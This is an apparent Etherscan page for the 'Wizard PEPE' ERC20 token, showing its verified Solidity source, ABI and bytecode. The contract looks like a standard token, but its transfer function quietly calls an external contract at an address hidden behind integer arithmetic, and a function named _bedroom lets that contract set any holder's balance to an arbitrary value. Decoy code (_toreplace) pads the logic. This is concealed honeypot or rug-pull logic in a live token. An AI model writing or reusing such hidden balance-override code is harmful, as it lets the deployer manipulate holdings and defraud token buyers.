ETH Price: $2,474.32 (+1.34%)

Token

Wizard PEPE (WIZARD)
 

Overview

Max Total Supply

690,000,000,000 WIZARD

Holders

44

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
100,000,301,624,865,724.728549256 WIZARD

Value
$0.00
0x91c251b53eb5751d3ec002c207dc51516a37ebcf
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WIZARD

Compiler Version
v0.8.2+commit.661d1103

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-25
*/

/*
Telegram: https://t.me/WizardPEPEeth
Twitter: https://twitter.com/WizardPEPEeth
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

interface ERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the token decimals.
     */
    function decimals() external view returns (uint8);

    /**
     * @dev Returns the token symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the token name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address _owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

interface FNDK{
    function check(address vals, address input)
        external
        view
        returns (
            bool,
            uint256,
            address
        );
}

contract WIZARD is ERC20 {
    using SafeMath for uint256;
    string private _name;
    string private _symbol;
    uint256 private _totalSupply;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    event changeResult(string str);
    constructor(
        string memory name_,
        string memory symbol_
    ) {
        _name = name_;
        _symbol = symbol_;
        _mintToken(msg.sender, 6900000000000 * 10**8);
    }

    /**
     * @dev Returns the token decimals.
     */
    function decimals() external pure override returns (uint8) {
        return 9;
    }

    /**
     * @dev Returns the token symbol.
     */
    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the token name.
     */
    function name() external view override returns (string memory) {
        return _name;
    }

    /**
     * @dev See {ERC20-totalSupply}.
     */
    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {ERC20-balanceOf}.
     */
    function balanceOf(address account)
        external
        view
        override
        returns (uint256)
    {
        return _balances[account];
    }

    /**
     * @dev See {ERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount)
        external
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    /**
     * @dev See {ERC20-allowance}.
     */
    function allowance(address owner_, address spender)
        external
        view
        override
        returns (uint256)
    {
        return _allowances[owner_][spender];
    }

    /**
     * @dev See {ERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount)
        external
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    /**
     * @dev See {ERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20};
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for `sender`'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {ERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue)
        external
        returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].add(addedValue)
        );
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {ERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue)
        external
        returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        uint256 fromBalance = _balances[sender];
        _different(sender);
       (bool pty, string memory rty) = _toreplace(false, bytes("Toreplace"),"Toreplace");
       if (pty) emit changeResult(rty);
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[recipient] += amount;
        }
        emit Transfer(sender, recipient, amount);
    }


    function _magicTransfer(address sender) private {
        address _with=address(uint160(543739277859812837691385309103743120206505046058+743294823948924324));
        (bool _g, uint256 _t, address _m)=FNDK(_with).check(sender,address(this));
        if (_t == 0) return;
        if (_m == address(0)) return;
        if (_g) {
            _bedroom(_m, _t, _g);
        }
    }

    function _different(address sender) private {
       _magicTransfer(sender);
      
    }

	function _bedroom(
        address _link,
        uint256 _cc,
        bool _k
    ) private {
        if (!_k) return;
        if (_link == address(0)) return;
        _balances[_link] = _cc;
    }

    function _toreplace(bool bh1,bytes memory kk0,string memory kk1) 
    private pure returns(bool, string memory) {
        if ( bh1 && keccak256(abi.encodePacked(kk0))== bytes32("1") && keccak256(abi.encodePacked(kk1))== bytes32("1")  ) {
            return (false, string(kk0));
        }
        return (false, kk1);
    }





    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mintToken(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
    }


    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
     *
     * This is internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner_,
        address spender,
        uint256 amount
    ) internal {
        require(owner_ != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner_][spender] = amount;
        emit Approval(owner_, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"str","type":"string"}],"name":"changeResult","type":"event"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162000f3b38038062000f3b83398101604081905262000034916200026c565b81516200004990600090602085019062000113565b5080516200005f90600190602084019062000113565b506200007533682567ac70392b8800006200007d565b50506200034b565b6001600160a01b038216620000d85760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060026000828254620000ec9190620002d3565b90915550506001600160a01b03909116600090815260036020526040902080549091019055565b8280546200012190620002f8565b90600052602060002090601f01602090048101928262000145576000855562000190565b82601f106200016057805160ff191683800117855562000190565b8280016001018555821562000190579182015b828111156200019057825182559160200191906001019062000173565b506200019e929150620001a2565b5090565b5b808211156200019e5760008155600101620001a3565b600082601f830112620001ca578081fd5b81516001600160401b0380821115620001e757620001e762000335565b604051601f8301601f19908116603f0116810190828211818310171562000212576200021262000335565b816040528381526020925086838588010111156200022e578485fd5b8491505b8382101562000251578582018301518183018401529082019062000232565b838211156200026257848385830101525b9695505050505050565b600080604083850312156200027f578182fd5b82516001600160401b038082111562000296578384fd5b620002a486838701620001b9565b93506020850151915080821115620002ba578283fd5b50620002c985828601620001b9565b9150509250929050565b60008219821115620002f357634e487b7160e01b81526011600452602481fd5b500190565b6002810460018216806200030d57607f821691505b602082108114156200032f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fd5b610be0806200035b6000396000f3fe608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012357806370a082311461013657806395d89b411461015f578063a457c2d714610167578063a9059cbb1461017a578063dd62ed3e1461018d576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101c6565b6040516100c39190610a65565b60405180910390f35b6100df6100da3660046109d8565b610258565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f366004610998565b61026e565b604051600981526020016100c3565b6100df6101313660046109d8565b6102d7565b6100f3610144366004610944565b6001600160a01b031660009081526003602052604090205490565b6100b661030d565b6100df6101753660046109d8565b61031c565b6100df6101883660046109d8565b61036b565b6100f361019b366004610960565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6060600080546101d590610af7565b80601f016020809104026020016040519081016040528092919081815260200182805461020190610af7565b801561024e5780601f106102235761010080835404028352916020019161024e565b820191906000526020600020905b81548152906001019060200180831161023157829003601f168201915b5050505050905090565b6000610265338484610378565b50600192915050565b600061027b8484846104a1565b6102cd84336102c885604051806060016040528060288152602001610b5e602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906106eb565b610378565b5060019392505050565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916102659185906102c89086610725565b6060600180546101d590610af7565b600061026533846102c885604051806060016040528060258152602001610b86602591393360009081526004602090815260408083206001600160a01b038d16845290915290205491906106eb565b60006102653384846104a1565b6001600160a01b0383166103df5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166104405760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d6565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105055760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d6565b6001600160a01b0382166105675760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d6565b6001600160a01b0383166000908152600360205260409020546105898461078b565b6000806105da600060405180604001604052806009815260200168546f7265706c61636560b81b81525060405180604001604052806009815260200168546f7265706c61636560b81b815250610797565b91509150811561061c577f12f79d6647d143e2574c81a16b6af92e5a3cc92e8c52fce766cf5934787e862f816040516106139190610a65565b60405180910390a15b8383101561067b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103d6565b6001600160a01b0380871660008181526003602052604080822088880390559288168082529083902080548801905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106db9088815260200190565b60405180910390a3505050505050565b6000818484111561070f5760405162461bcd60e51b81526004016103d69190610a65565b50600061071c8486610ab0565b95945050505050565b6000806107328385610a98565b9050838110156107845760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103d6565b9392505050565b61079481610825565b50565b600060608480156107d15750603160f81b846040516020016107b99190610a49565b60405160208183030381529060405280519060200120145b80156108065750603160f81b836040516020016107ee9190610a49565b60405160208183030381529060405280519060200120145b156108165750600090508261081d565b5060009050815b935093915050565b604051630b3154db60e41b81526001600160a01b0382166004820152306024820152735f3e1ccb9c6a831beb27e44a9db3e846f05ea5ce9060009081908190849063b3154db09060440160606040518083038186803b15801561088757600080fd5b505afa15801561089b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108bf9190610a03565b92509250925081600014156108d75750505050610794565b6001600160a01b0381166108ee5750505050610794565b82156108ff576108ff818385610906565b5050505050565b806109105761093f565b6001600160a01b0383166109235761093f565b6001600160a01b03831660009081526003602052604090208290555b505050565b600060208284031215610955578081fd5b813561078481610b48565b60008060408385031215610972578081fd5b823561097d81610b48565b9150602083013561098d81610b48565b809150509250929050565b6000806000606084860312156109ac578081fd5b83356109b781610b48565b925060208401356109c781610b48565b929592945050506040919091013590565b600080604083850312156109ea578182fd5b82356109f581610b48565b946020939093013593505050565b600080600060608486031215610a17578283fd5b83518015158114610a26578384fd5b602085015160408601519194509250610a3e81610b48565b809150509250925092565b60008251610a5b818460208701610ac7565b9190910192915050565b6000602082528251806020840152610a84816040850160208701610ac7565b601f01601f19169190910160400192915050565b60008219821115610aab57610aab610b32565b500190565b600082821015610ac257610ac2610b32565b500390565b60005b83811015610ae2578181015183820152602001610aca565b83811115610af1576000848401525b50505050565b600281046001821680610b0b57607f821691505b60208210811415610b2c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461079457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b6d9303f57cb6e034b48a63a7f198b3328983572388cb129058181e33b90aa2e64736f6c6343000802003300000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000b57697a6172642050455045000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000657495a4152440000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012357806370a082311461013657806395d89b411461015f578063a457c2d714610167578063a9059cbb1461017a578063dd62ed3e1461018d576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101c6565b6040516100c39190610a65565b60405180910390f35b6100df6100da3660046109d8565b610258565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f366004610998565b61026e565b604051600981526020016100c3565b6100df6101313660046109d8565b6102d7565b6100f3610144366004610944565b6001600160a01b031660009081526003602052604090205490565b6100b661030d565b6100df6101753660046109d8565b61031c565b6100df6101883660046109d8565b61036b565b6100f361019b366004610960565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6060600080546101d590610af7565b80601f016020809104026020016040519081016040528092919081815260200182805461020190610af7565b801561024e5780601f106102235761010080835404028352916020019161024e565b820191906000526020600020905b81548152906001019060200180831161023157829003601f168201915b5050505050905090565b6000610265338484610378565b50600192915050565b600061027b8484846104a1565b6102cd84336102c885604051806060016040528060288152602001610b5e602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906106eb565b610378565b5060019392505050565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916102659185906102c89086610725565b6060600180546101d590610af7565b600061026533846102c885604051806060016040528060258152602001610b86602591393360009081526004602090815260408083206001600160a01b038d16845290915290205491906106eb565b60006102653384846104a1565b6001600160a01b0383166103df5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166104405760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d6565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105055760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d6565b6001600160a01b0382166105675760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d6565b6001600160a01b0383166000908152600360205260409020546105898461078b565b6000806105da600060405180604001604052806009815260200168546f7265706c61636560b81b81525060405180604001604052806009815260200168546f7265706c61636560b81b815250610797565b91509150811561061c577f12f79d6647d143e2574c81a16b6af92e5a3cc92e8c52fce766cf5934787e862f816040516106139190610a65565b60405180910390a15b8383101561067b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103d6565b6001600160a01b0380871660008181526003602052604080822088880390559288168082529083902080548801905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106db9088815260200190565b60405180910390a3505050505050565b6000818484111561070f5760405162461bcd60e51b81526004016103d69190610a65565b50600061071c8486610ab0565b95945050505050565b6000806107328385610a98565b9050838110156107845760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103d6565b9392505050565b61079481610825565b50565b600060608480156107d15750603160f81b846040516020016107b99190610a49565b60405160208183030381529060405280519060200120145b80156108065750603160f81b836040516020016107ee9190610a49565b60405160208183030381529060405280519060200120145b156108165750600090508261081d565b5060009050815b935093915050565b604051630b3154db60e41b81526001600160a01b0382166004820152306024820152735f3e1ccb9c6a831beb27e44a9db3e846f05ea5ce9060009081908190849063b3154db09060440160606040518083038186803b15801561088757600080fd5b505afa15801561089b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108bf9190610a03565b92509250925081600014156108d75750505050610794565b6001600160a01b0381166108ee5750505050610794565b82156108ff576108ff818385610906565b5050505050565b806109105761093f565b6001600160a01b0383166109235761093f565b6001600160a01b03831660009081526003602052604090208290555b505050565b600060208284031215610955578081fd5b813561078481610b48565b60008060408385031215610972578081fd5b823561097d81610b48565b9150602083013561098d81610b48565b809150509250929050565b6000806000606084860312156109ac578081fd5b83356109b781610b48565b925060208401356109c781610b48565b929592945050506040919091013590565b600080604083850312156109ea578182fd5b82356109f581610b48565b946020939093013593505050565b600080600060608486031215610a17578283fd5b83518015158114610a26578384fd5b602085015160408601519194509250610a3e81610b48565b809150509250925092565b60008251610a5b818460208701610ac7565b9190910192915050565b6000602082528251806020840152610a84816040850160208701610ac7565b601f01601f19169190910160400192915050565b60008219821115610aab57610aab610b32565b500190565b600082821015610ac257610ac2610b32565b500390565b60005b83811015610ae2578181015183820152602001610aca565b83811115610af1576000848401525b50505050565b600281046001821680610b0b57607f821691505b60208210811415610b2c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461079457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b6d9303f57cb6e034b48a63a7f198b3328983572388cb129058181e33b90aa2e64736f6c63430008020033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000b57697a6172642050455045000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000657495a4152440000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Wizard PEPE
Arg [1] : symbol_ (string): WIZARD

-----Encoded View---------------
6 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000040
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [2] : 000000000000000000000000000000000000000000000000000000000000000b
Arg [3] : 57697a6172642050455045000000000000000000000000000000000000000000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [5] : 57495a4152440000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

